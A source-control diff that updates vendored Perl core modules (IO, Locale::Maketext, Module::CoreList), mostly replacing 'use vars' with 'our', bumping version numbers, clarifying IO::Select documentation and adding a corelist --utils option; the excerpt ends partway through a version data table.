+++ vendor/perl/dist/dist/IO/lib/IO/Dir.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
 
 package IO::Dir;
 
-use 5.006;
+use 5.008_001;
 
 use strict;
 use Carp;
@@ -13,16 +13,15 @@
 use Symbol;
 use Exporter;
 use IO::File;
-our(@ISA, $VERSION, @EXPORT_OK);
 use Tie::Hash;
 use File::stat;
 use File::Spec;
 
- at ISA = qw(Tie::Hash Exporter);
-$VERSION = "1.10";
-$VERSION = eval $VERSION;
- at EXPORT_OK = qw(DIR_UNLINK);
+our @ISA = qw(Tie::Hash Exporter);
+our $VERSION = "1.39";
 
+our @EXPORT_OK = qw(DIR_UNLINK);
+
 sub DIR_UNLINK () { 1 }
 
 sub new {

Modified: vendor/perl/dist/dist/IO/lib/IO/File.pm
===================================================================
--- vendor/perl/dist/dist/IO/lib/IO/File.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/lib/IO/File.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -124,9 +124,8 @@
 
 =cut
 
-use 5.006_001;
+use 5.008_001;
 use strict;
-our($VERSION, @EXPORT, @EXPORT_OK, @ISA);
 use Carp;
 use Symbol;
 use SelectSaver;
@@ -134,11 +133,11 @@
 
 require Exporter;
 
- at ISA = qw(IO::Handle IO::Seekable Exporter);
+our @ISA = qw(IO::Handle IO::Seekable Exporter);
 
-$VERSION = "1.16";
+our $VERSION = "1.39";
 
- at EXPORT = @IO::Seekable::EXPORT;
+our @EXPORT = @IO::Seekable::EXPORT;
 
 eval {
     # Make all Fcntl O_XXX constants available for importing

Modified: vendor/perl/dist/dist/IO/lib/IO/Handle.pm
===================================================================
--- vendor/perl/dist/dist/IO/lib/IO/Handle.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/lib/IO/Handle.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -260,9 +260,8 @@
 
 =cut
 
-use 5.006_001;
+use 5.008_001;
 use strict;
-our($VERSION, @EXPORT_OK, @ISA);
 use Carp;
 use Symbol;
 use SelectSaver;
@@ -269,12 +268,11 @@
 use IO ();	# Load the XS module
 
 require Exporter;
- at ISA = qw(Exporter);
+our @ISA = qw(Exporter);
 
-$VERSION = "1.36";
-$VERSION = eval $VERSION;
+our $VERSION = "1.39";
 
- at EXPORT_OK = qw(
+our @EXPORT_OK = qw(
     autoflush
     output_field_separator
     output_record_separator
@@ -366,7 +364,7 @@
     my ($io, $fd, $mode) = @_;
     local(*GLOB);
 
-    if (ref($fd) && "".$fd =~ /GLOB\(/o) {
+    if (ref($fd) && "$fd" =~ /GLOB\(/o) {
 	# It's a glob reference; Alias it as we cannot get name of anon GLOBs
 	my $n = qualify(*GLOB);
 	*GLOB = *{*$fd};
@@ -494,7 +492,7 @@
 ##
 
 sub autoflush {
-    my $old = new SelectSaver qualify($_[0], caller);
+    my $old = SelectSaver->new(qualify($_[0], caller));
     my $prev = $|;
     $| = @_ > 1 ? $_[1] : 1;
     $prev;
@@ -534,7 +532,7 @@
 
 sub format_page_number {
     my $old;
-    $old = new SelectSaver qualify($_[0], caller) if ref($_[0]);
+    $old = SelectSaver->new(qualify($_[0], caller)) if ref($_[0]);
     my $prev = $%;
     $% = $_[1] if @_ > 1;
     $prev;
@@ -542,7 +540,7 @@
 
 sub format_lines_per_page {
     my $old;
-    $old = new SelectSaver qualify($_[0], caller) if ref($_[0]);
+    $old = SelectSaver->new(qualify($_[0], caller)) if ref($_[0]);
     my $prev = $=;
     $= = $_[1] if @_ > 1;
     $prev;
@@ -550,7 +548,7 @@
 
 sub format_lines_left {
     my $old;
-    $old = new SelectSaver qualify($_[0], caller) if ref($_[0]);
+    $old = SelectSaver->new(qualify($_[0], caller)) if ref($_[0]);
     my $prev = $-;
     $- = $_[1] if @_ > 1;
     $prev;
@@ -558,7 +556,7 @@
 
 sub format_name {
     my $old;
-    $old = new SelectSaver qualify($_[0], caller) if ref($_[0]);
+    $old = SelectSaver->new(qualify($_[0], caller)) if ref($_[0]);
     my $prev = $~;
     $~ = qualify($_[1], caller) if @_ > 1;
     $prev;
@@ -566,7 +564,7 @@
 
 sub format_top_name {
     my $old;
-    $old = new SelectSaver qualify($_[0], caller) if ref($_[0]);
+    $old = SelectSaver->new(qualify($_[0], caller)) if ref($_[0]);
     my $prev = $^;
     $^ = qualify($_[1], caller) if @_ > 1;
     $prev;
@@ -640,7 +638,7 @@
 sub printflush {
     my $io = shift;
     my $old;
-    $old = new SelectSaver qualify($io, caller) if ref($io);
+    $old = SelectSaver->new(qualify($io, caller)) if ref($io);
     local $| = 1;
     if(ref($io)) {
         print $io @_;

Modified: vendor/perl/dist/dist/IO/lib/IO/Pipe.pm
===================================================================
--- vendor/perl/dist/dist/IO/lib/IO/Pipe.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/lib/IO/Pipe.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,15 +6,14 @@
 
 package IO::Pipe;
 
-use 5.006_001;
+use 5.008_001;
 
 use IO::Handle;
 use strict;
-our($VERSION);
 use Carp;
 use Symbol;
 
-$VERSION = "1.15";
+our $VERSION = "1.39";
 
 sub new {
     my $type = shift;

Modified: vendor/perl/dist/dist/IO/lib/IO/Poll.pm
===================================================================
--- vendor/perl/dist/dist/IO/lib/IO/Poll.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/lib/IO/Poll.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,12 +10,11 @@
 use strict;
 use IO::Handle;
 use Exporter ();
-our(@ISA, @EXPORT_OK, @EXPORT, $VERSION);
 
- at ISA = qw(Exporter);
-$VERSION = "0.10";
+our @ISA = qw(Exporter);
+our $VERSION = "1.39";
 
- at EXPORT = qw( POLLIN
+our @EXPORT = qw( POLLIN
 	      POLLOUT
 	      POLLERR
 	      POLLHUP
@@ -22,13 +21,13 @@
 	      POLLNVAL
 	    );
 
- at EXPORT_OK = qw(
- POLLPRI   
+our @EXPORT_OK = qw(
+ POLLPRI
  POLLRDNORM
  POLLWRNORM
  POLLRDBAND
  POLLWRBAND
- POLLNORM  
+ POLLNORM
 	       );
 
 # [0] maps fd's to requested masks

Modified: vendor/perl/dist/dist/IO/lib/IO/Seekable.pm
===================================================================
--- vendor/perl/dist/dist/IO/lib/IO/Seekable.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/lib/IO/Seekable.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -94,10 +94,9 @@
 
 =cut
 
-use 5.006_001;
+use 5.008_001;
 use Carp;
 use strict;
-our($VERSION, @EXPORT, @ISA);
 use IO::Handle ();
 # XXX we can't get these from IO::Handle or we'll get prototype
 # mismatch warnings on C<use POSIX; use IO::File;> :-(
@@ -104,11 +103,10 @@
 use Fcntl qw(SEEK_SET SEEK_CUR SEEK_END);
 require Exporter;
 
- at EXPORT = qw(SEEK_SET SEEK_CUR SEEK_END);
- at ISA = qw(Exporter);
+our @EXPORT = qw(SEEK_SET SEEK_CUR SEEK_END);
+our @ISA = qw(Exporter);
 
-$VERSION = "1.10";
-$VERSION = eval $VERSION;
+our $VERSION = "1.39";
 
 sub seek {
     @_ == 3 or croak 'usage: $io->seek(POS, WHENCE)';

Modified: vendor/perl/dist/dist/IO/lib/IO/Select.pm
===================================================================
--- vendor/perl/dist/dist/IO/lib/IO/Select.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/lib/IO/Select.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,12 +8,11 @@
 
 use     strict;
 use warnings::register;
-use     vars qw($VERSION @ISA);
 require Exporter;
 
-$VERSION = "1.22";
+our $VERSION = "1.39";
 
- at ISA = qw(Exporter); # This is only so we can do version checking
+our @ISA = qw(Exporter); # This is only so we can do version checking
 
 sub VEC_BITS () {0}
 sub FD_COUNT () {1}
@@ -315,10 +314,13 @@
 
 =item can_read ( [ TIMEOUT ] )
 
-Return an array of handles that are ready for reading. C<TIMEOUT> is
-the maximum amount of time to wait before returning an empty list, in
-seconds, possibly fractional. If C<TIMEOUT> is not given and any
-handles are registered then the call will block.
+Return an array of handles that are ready for reading.  C<TIMEOUT> is the
+maximum amount of time to wait before returning an empty list (with C<$!>
+unchanged), in seconds, possibly fractional.  If C<TIMEOUT> is not given
+and any handles are registered then the call will block indefinitely.
+Upon error, an empty list is returned, with C<$!> set to indicate the
+error.  To distinguish between timeout and error, set C<$!> to zero
+before calling this method, and check it after an empty list is returned.
 
 =item can_write ( [ TIMEOUT ] )
 
@@ -346,9 +348,14 @@
 C<IO::Select> objects. C<TIMEOUT> is optional and has the same effect as
 for the core select call.
 
-The result will be an array of 3 elements, each a reference to an array
-which will hold the handles that are ready for reading, writing and have
-exceptions respectively. Upon error an empty list is returned.
+If at least one handle is ready for the specified kind of operation,
+the result will be an array of 3 elements, each a reference to an array
+which will hold the handles that are ready for reading, writing and
+have exceptions respectively.  Upon timeout, an empty list is returned,
+with C<$!> unchanged.  Upon error, an empty list is returned, with C<$!>
+set to indicate the error.  To distinguish between timeout and error,
+set C<$!> to zero before calling this method, and check it after an
+empty list is returned.
 
 =back
 

Modified: vendor/perl/dist/dist/IO/lib/IO/Socket/INET.pm
===================================================================
--- vendor/perl/dist/dist/IO/lib/IO/Socket/INET.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/lib/IO/Socket/INET.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,6 @@
 package IO::Socket::INET;
 
 use strict;
-our(@ISA, $VERSION);
 use IO::Socket;
 use Socket;
 use Carp;
@@ -14,8 +13,8 @@
 use Exporter;
 use Errno;
 
- at ISA = qw(IO::Socket);
-$VERSION = "1.35";
+our @ISA = qw(IO::Socket);
+our $VERSION = "1.39";
 
 my $EINVAL = exists(&Errno::EINVAL) ? Errno::EINVAL() : 1;
 

Modified: vendor/perl/dist/dist/IO/lib/IO/Socket/UNIX.pm
===================================================================
--- vendor/perl/dist/dist/IO/lib/IO/Socket/UNIX.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/lib/IO/Socket/UNIX.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,13 +7,11 @@
 package IO::Socket::UNIX;
 
 use strict;
-our(@ISA, $VERSION);
 use IO::Socket;
 use Carp;
 
- at ISA = qw(IO::Socket);
-$VERSION = "1.26";
-$VERSION = eval $VERSION;
+our @ISA = qw(IO::Socket);
+our $VERSION = "1.39";
 
 IO::Socket::UNIX->register_domain( AF_UNIX );
 

Modified: vendor/perl/dist/dist/IO/lib/IO/Socket.pm
===================================================================
--- vendor/perl/dist/dist/IO/lib/IO/Socket.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/lib/IO/Socket.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,13 +7,12 @@
 
 package IO::Socket;
 
-require 5.006;
+use 5.008_001;
 
 use IO::Handle;
 use Socket 1.3;
 use Carp;
 use strict;
-our(@ISA, $VERSION, @EXPORT_OK);
 use Exporter;
 use Errno;
 
@@ -22,11 +21,11 @@
 require IO::Socket::INET;
 require IO::Socket::UNIX if ($^O ne 'epoc' && $^O ne 'symbian');
 
- at ISA = qw(IO::Handle);
+our @ISA = qw(IO::Handle);
 
-$VERSION = "1.38";
+our $VERSION = "1.39";
 
- at EXPORT_OK = qw(sockatmark);
+our @EXPORT_OK = qw(sockatmark);
 
 sub import {
     my $pkg = shift;

Modified: vendor/perl/dist/dist/IO/poll.c
===================================================================
--- vendor/perl/dist/dist/IO/poll.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/poll.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,9 +18,7 @@
 #ifdef I_SYS_TIME
 # include <sys/time.h>
 #endif
-#ifdef I_TIME
-# include <time.h>
-#endif
+#include <time.h>
 #include <sys/types.h>
 #if defined(HAS_SOCKET) && !defined(VMS) && !defined(ultrix) /* VMS handles sockets via vmsish.h, ULTRIX dies of socket struct redefinitions */
 #  include <sys/socket.h>

Modified: vendor/perl/dist/dist/IO/t/io_dir.t
===================================================================
--- vendor/perl/dist/dist/IO/t/io_dir.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/t/io_dir.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,14 +1,6 @@
 #!./perl
 
 BEGIN {
-    if ($ENV{PERL_CORE}) {
-	require Config; import Config;
-	if ($] < 5.00326 || not $Config{'d_readdir'}) {
-	    print "1..0 # Skip: readdir() not available\n";
-	    exit 0;
-	}
-    }
-
     require($ENV{PERL_CORE} ? "../../t/test.pl" : "./t/test.pl");
     plan(16);
 

Modified: vendor/perl/dist/dist/IO/t/io_sock.t
===================================================================
--- vendor/perl/dist/dist/IO/t/io_sock.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/t/io_sock.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -24,7 +24,7 @@
     }
 }
 
-my $has_perlio = $] >= 5.008 && find PerlIO::Layer 'perlio';
+my $has_perlio = find PerlIO::Layer 'perlio';
 
 $| = 1;
 print "1..26\n";

Modified: vendor/perl/dist/dist/IO/t/io_utf8.t
===================================================================
--- vendor/perl/dist/dist/IO/t/io_utf8.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/t/io_utf8.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 #!./perl
 
 BEGIN {
-    unless ($] >= 5.008 and find PerlIO::Layer 'perlio') {
+    unless (find PerlIO::Layer 'perlio') {
 	print "1..0 # Skip: not perlio\n";
 	exit 0;
     }

Modified: vendor/perl/dist/dist/IO/t/io_utf8argv.t
===================================================================
--- vendor/perl/dist/dist/IO/t/io_utf8argv.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/t/io_utf8argv.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,11 +1,11 @@
 #!./perl
 
 BEGIN {
-    unless ($] >= 5.008 and find PerlIO::Layer 'perlio') {
+    unless (find PerlIO::Layer 'perlio') {
 	print "1..0 # Skip: not perlio\n";
 	exit 0;
     }
-    require($ENV{PERL_CORE} ? "../../t/test.pl" : "../t/test.pl");
+    require($ENV{PERL_CORE} ? "../../t/test.pl" : "./t/test.pl");
 }
 
 use utf8;
@@ -22,7 +22,7 @@
             "\xcd\xbe\x0a";
 
 if ($::IS_EBCDIC) {
-    require($ENV{PERL_CORE} ? "../../t/charset_tools.pl" : "../t/charset_tools.pl");
+    require($ENV{PERL_CORE} ? "../../t/charset_tools.pl" : "./t/charset_tools.pl");
     $bytes = byte_utf8a_to_utf8n($bytes)
 }
 

Modified: vendor/perl/dist/dist/Locale-Maketext/lib/Locale/Maketext.pm
===================================================================
--- vendor/perl/dist/dist/Locale-Maketext/lib/Locale/Maketext.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Locale-Maketext/lib/Locale/Maketext.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,6 @@
 package Locale::Maketext;
 use strict;
-use vars qw( @ISA $VERSION $MATCH_SUPERS $USING_LANGUAGE_TAGS
-$USE_LITERALS $MATCH_SUPERS_TIGHTLY);
+our $USE_LITERALS;
 use Carp ();
 use I18N::LangTags ();
 use I18N::LangTags::Detect ();
@@ -26,12 +25,12 @@
 }
 
 
-$VERSION = '1.28';
- at ISA = ();
+our $VERSION = '1.29';
+our @ISA = ();
 
-$MATCH_SUPERS = 1;
-$MATCH_SUPERS_TIGHTLY = 1;
-$USING_LANGUAGE_TAGS  = 1;
+our $MATCH_SUPERS = 1;
+our $MATCH_SUPERS_TIGHTLY = 1;
+our $USING_LANGUAGE_TAGS  = 1;
 # Turning this off is somewhat of a security risk in that little or no
 # checking will be done on the legality of tokens passed to the
 # eval("use $module_name") in _try_use.  If you turn this off, you have

Modified: vendor/perl/dist/dist/Locale-Maketext/lib/Locale/Maketext.pod
===================================================================
--- vendor/perl/dist/dist/Locale-Maketext/lib/Locale/Maketext.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Locale-Maketext/lib/Locale/Maketext.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1226,7 +1226,7 @@
 consider making a functional wrapper for it, like so:
 
   use Projname::L10N;
-  use vars qw($lh);
+  our $lh;
   $lh = Projname::L10N->get_handle(...) || die "Language?";
   sub pmt (@) { print( $lh->maketext(@_)) }
    # "pmt" is short for "Print MakeText"

Modified: vendor/perl/dist/dist/Locale-Maketext/t/60_super.t
===================================================================
--- vendor/perl/dist/dist/Locale-Maketext/t/60_super.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Locale-Maketext/t/60_super.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,23 +9,20 @@
 
 {
     package Whunk::L10N;
-    use vars qw(@ISA %Lexicon);
-    @ISA =  'Locale::Maketext';
-    %Lexicon = ('hello' => 'SROBLR!');
+    our @ISA =  'Locale::Maketext';
+    our %Lexicon = ('hello' => 'SROBLR!');
 }
 
 {
     package Whunk::L10N::en;
-    use vars qw(@ISA %Lexicon);
-    @ISA =  'Whunk::L10N';
-    %Lexicon = ('hello' => 'HI AND STUFF!');
+    our @ISA =  'Whunk::L10N';
+    our %Lexicon = ('hello' => 'HI AND STUFF!');
 }
 
 {
     package Whunk::L10N::zh_tw;
-    use vars qw(@ISA %Lexicon);
-    @ISA =  'Whunk::L10N';
-    %Lexicon = ('hello' => 'NIHAU JOE!');
+    our @ISA =  'Whunk::L10N';
+    our %Lexicon = ('hello' => 'NIHAU JOE!');
 }
 
 $ENV{'REQUEST_METHOD'} = 'GET';

Modified: vendor/perl/dist/dist/Locale-Maketext/t/70_fail_auto.t
===================================================================
--- vendor/perl/dist/dist/Locale-Maketext/t/70_fail_auto.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Locale-Maketext/t/70_fail_auto.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,14 +9,12 @@
 
 {
     package Whunk::L10N;
-    use vars qw(@ISA);
-    @ISA =  'Locale::Maketext';
+    our @ISA =  'Locale::Maketext';
 }
 
 {
     package Whunk::L10N::en;
-    use vars qw(@ISA);
-    @ISA = 'Whunk::L10N';
+    our @ISA = 'Whunk::L10N';
 }
 
 my $lh = Whunk::L10N->get_handle('en');

Modified: vendor/perl/dist/dist/Module-CoreList/Changes
===================================================================
--- vendor/perl/dist/dist/Module-CoreList/Changes	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Module-CoreList/Changes	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,3 +1,62 @@
+5.20180622
+  - Updated for v5.28.0
+
+5.20180420
+  - Updated for v5.27.11
+
+5.20180414_26
+  - Updated for v5.26.2
+
+5.20180414_24
+  - Updated for v5.24.4
+
+5.20180221
+  - Updated for v5.27.10
+
+5.20180220
+  - Improve handling of broken versions in is_core()
+  - Removed Module::CoreList::TieHashDelta
+  - Updated for v5.27.9
+
+5.20180120
+  - Updated for v5.27.8
+
+5.20171220
+  - Updated for v5.27.7
+
+5.20171120
+  - Updated for v5.27.6
+
+5.20171020
+  - Updated for v5.27.5
+
+5.20170922_26
+  - Updated for v5.26.1
+
+5.20170922_24
+  - Updated for v5.24.3
+
+5.20170920
+  - Updated for v5.27.4
+
+5.20170821
+  - Updated for v5.27.3
+
+5.20170720
+  - Updated for v5.27.2
+
+5.20170715_24
+  - Updated for v5.24.2
+
+5.20170715_22
+  - Updated for v5.22.4
+
+5.20170621
+  - Updated for v5.27.1
+
+5.20170531
+  - Updated for v5.27.0
+
 5.20170530
   - Updated for v5.26.0
 

Modified: vendor/perl/dist/dist/Module-CoreList/MANIFEST
===================================================================
--- vendor/perl/dist/dist/Module-CoreList/MANIFEST	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Module-CoreList/MANIFEST	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,6 @@
 identify-dependencies
 lib/Module/CoreList.pm
 lib/Module/CoreList.pod
-lib/Module/CoreList/TieHashDelta.pm
 lib/Module/CoreList/Utils.pm
 README
 MANIFEST
@@ -13,6 +12,7 @@
 t/deprecated.t
 t/find_modules.t
 t/is_core.t
+t/maintainer.t
 t/pod.t
 t/utils.t
 META.json                                Module JSON meta-data (added by MakeMaker)

Modified: vendor/perl/dist/dist/Module-CoreList/Makefile.PL
===================================================================
--- vendor/perl/dist/dist/Module-CoreList/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Module-CoreList/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -25,13 +25,6 @@
     'INSTALLDIRS' => ($] < 5.011 ? 'perl' : 'site'),
     'PL_FILES' => {},
     LICENSE => 'perl',
-    META_MERGE => {
-        resources => {
-            repository => 'git://perl5.git.perl.org/perl.git',
-            bugtracker => 'https://rt.perl.org/rt3/',
-            homepage   => "http://dev.perl.org/",
-        },
-    },
     @extra,
 )
 ;

Modified: vendor/perl/dist/dist/Module-CoreList/corelist
===================================================================
--- vendor/perl/dist/dist/Module-CoreList/corelist	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Module-CoreList/corelist	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,6 +14,8 @@
    corelist [-a|-d] <ModuleName> | /<ModuleRegex>/ [<ModuleVersion>] ...
    corelist [-v <PerlVersion>] [ <ModuleName> | /<ModuleRegex>/ ] ...
    corelist [-r <PerlVersion>] ...
+   corelist --utils [-d] <UtilityName> [<UtilityName>] ...
+   corelist --utils -v <PerlVersion>
    corelist --feature <FeatureName> [<FeatureName>] ...
    corelist --diff PerlVersion PerlVersion
    corelist --upstream <ModuleName>
@@ -113,6 +115,15 @@
 
 If you pass a perl version you get the release date for that version only.
 
+=item --utils
+
+lists the first version of perl each named utility program was released with
+
+May be used with -d to modify the first release criteria.
+
+If used with -v <version> then all utilities released with that version of perl
+are listed, and any utility programs named on the command line are ignored.
+
 =item --feature, -f
 
 lists the first version bundle of each named feature given
@@ -142,7 +153,7 @@
 
 GetOptions(
     \%Opts,
-    qw[ help|?! man! r|release:s v|version:s a! d diff|D feature|f u|upstream ]
+    qw[ help|?! man! r|release:s v|version:s a! d diff|D utils feature|f u|upstream ]
 );
 
 pod2usage(1) if $Opts{help};
@@ -181,6 +192,12 @@
     }
 
     my $num_v = numify_version( $Opts{v} );
+
+    if ($Opts{utils}) {
+        utilities_in_version($num_v);
+        exit 0;
+    }
+
     my $version_hash = Module::CoreList->find_version($num_v);
 
     if( !$version_hash ) {
@@ -227,6 +244,25 @@
     exit(0);
 }
 
+if ($Opts{utils}) {
+    die "\n--utils only available with perl v5.19.1 or greater\n"
+        if $] < 5.019001;
+
+    die "\nprovide at least one utility name to --utils\n"
+        unless @ARGV;
+
+    warn "\n-a has no effect when --utils is used\n"                 if $Opts{a};
+    warn "\n--diff has no effect when --utils is used\n"             if $Opts{diff};
+    warn "\n--upstream, or -u, has no effect when --utils is used\n" if $Opts{u};
+
+    my $when = maxstr(values %Module::CoreList::released);
+    print "\n","Data for $when\n";
+
+    utility_version($_) for @ARGV;
+
+    exit(0);
+}
+
 if ($Opts{feature}) {
     die "\n--feature is only available with perl v5.16.0 or greater\n"
       if $] < 5.016;
@@ -364,7 +400,48 @@
     }
 }
 
+sub utility_version {
+    my ($utility) = @_;
 
+    require Module::CoreList::Utils;
+
+    my $released = $Opts{d}
+        ? Module::CoreList::Utils->first_release_by_date($utility)
+        : Module::CoreList::Utils->first_release($utility);
+
+    my $removed = $Opts{d}
+        ? Module::CoreList::Utils->removed_from_by_date($utility)
+        : Module::CoreList::Utils->removed_from($utility);
+
+    if ($released) {
+        print "$utility was first released with perl ", format_perl_version($released);
+        print " and later removed in ", format_perl_version($removed)
+            if $removed;
+        print "\n";
+    } else {
+        print "$utility was not in CORE (or so I think)\n";
+    }
+}
+
+sub utilities_in_version {
+    my ($version) = @_;
+
+    require Module::CoreList::Utils;
+
+    my @utilities = Module::CoreList::Utils->utilities($version);
+
+    if (not @utilities) {
+        print "\nModule::CoreList::Utils has no info on perl $version\n\n";
+        exit 1;
+    }
+
+    print "\nThe following utilities were in perl ",
+        format_perl_version($version), " CORE\n";
+    print "$_\n" for sort { lc($a) cmp lc($b) } @utilities;
+    print "\n";
+}
+
+
 sub max_mod_len {
     my $versions = shift;
     my $max = 0;

Modified: vendor/perl/dist/dist/Module-CoreList/identify-dependencies
===================================================================
--- vendor/perl/dist/dist/Module-CoreList/identify-dependencies	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Module-CoreList/identify-dependencies	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use warnings;
 use Module::CoreList;
 
-use vars qw/%modules/;
+our %modules;
 
 my @files = @ARGV;
 unless (@files) {

Deleted: vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList/TieHashDelta.pm
===================================================================
--- vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList/TieHashDelta.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList/TieHashDelta.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,79 +0,0 @@
-# For internal Module::CoreList use only.
-package Module::CoreList::TieHashDelta;
-use strict;
-use vars qw($VERSION);
-
-$VERSION = '5.20170530';
-
-sub TIEHASH {
-    my ($class, $changed, $removed, $parent) = @_;
-
-    return bless {
-        changed => $changed,
-        removed => $removed,
-        parent => $parent,
-        keys_inflated => 0,
-    }, $class;
-}
-
-sub FETCH {
-    my ($self, $key) = @_;
-
-    if (exists $self->{changed}{$key}) {
-        return $self->{changed}{$key};
-    } elsif (exists $self->{removed}{$key}) {
-        return undef;
-    } elsif (defined $self->{parent}) {
-        return $self->{parent}{$key};
-    }
-    return undef;
-}
-
-sub EXISTS {
-    my ($self, $key) = @_;
-
-    restart:
-    if (exists $self->{changed}{$key}) {
-        return 1;
-    } elsif (exists $self->{removed}{$key}) {
-        return '';
-    } elsif (defined $self->{parent}) {
-        $self = tied %{$self->{parent}}; #avoid extreme magic/tie recursion
-        goto restart;
-    }
-    return '';
-}
-
-sub FIRSTKEY {
-    my ($self) = @_;
-
-    if (not $self->{keys_inflated}) {
-        # exceeds the warning limit of 100 calls since 5.23.2
-        no warnings 'recursion';
-
-        # This inflates the whole set of hashes... Somewhat expensive, but saves
-        # many tied hash calls later.
-        my @parent_keys;
-        if (defined $self->{parent}) {
-            @parent_keys = keys %{$self->{parent}};
-        }
-
-        @parent_keys = grep !exists $self->{removed}{$_}, @parent_keys;
-        for my $key (@parent_keys) {
-            next if exists $self->{changed}->{$key};
-            $self->{changed}{$key} = $self->{parent}{$key};
-        }
-
-        $self->{keys_inflated} = 1;
-    }
-
-    keys %{$self->{changed}}; # reset each
-    $self->NEXTKEY;
-}
-
-sub NEXTKEY {
-    my ($self) = @_;
-    each %{$self->{changed}};
-}
-
-1;

Modified: vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList/Utils.pm
===================================================================
--- vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList/Utils.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList/Utils.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,10 +2,10 @@
 
 use strict;
 use warnings;
-use vars qw[$VERSION %utilities];
 use Module::CoreList;
 
-$VERSION = '5.20170530';
+our $VERSION = '5.20180622';
+our %utilities;
 
 sub utilities {
     my $perl = shift;
@@ -1263,6 +1263,139 @@
         removed => {
         }
     },
+    5.027000 => {
+        delta_from => 5.026000,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027001 => {
+        delta_from => 5.027000,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.022004 => {
+        delta_from => 5.022003,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.024002 => {
+        delta_from => 5.024001,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027002 => {
+        delta_from => 5.027001,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027003 => {
+        delta_from => 5.027002,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027004 => {
+        delta_from => 5.027003,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.024003 => {
+        delta_from => 5.024002,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.026001 => {
+        delta_from => 5.026000,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027005 => {
+        delta_from => 5.027004,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027006 => {
+        delta_from => 5.027005,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027007 => {
+        delta_from => 5.027006,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027008 => {
+        delta_from => 5.027007,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027009 => {
+        delta_from => 5.027008,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.027010 => {
+        delta_from => 5.027009,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.024004 => {
+        delta_from => 5.024003,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.026002 => {
+        delta_from => 5.026001,
+        changed => {
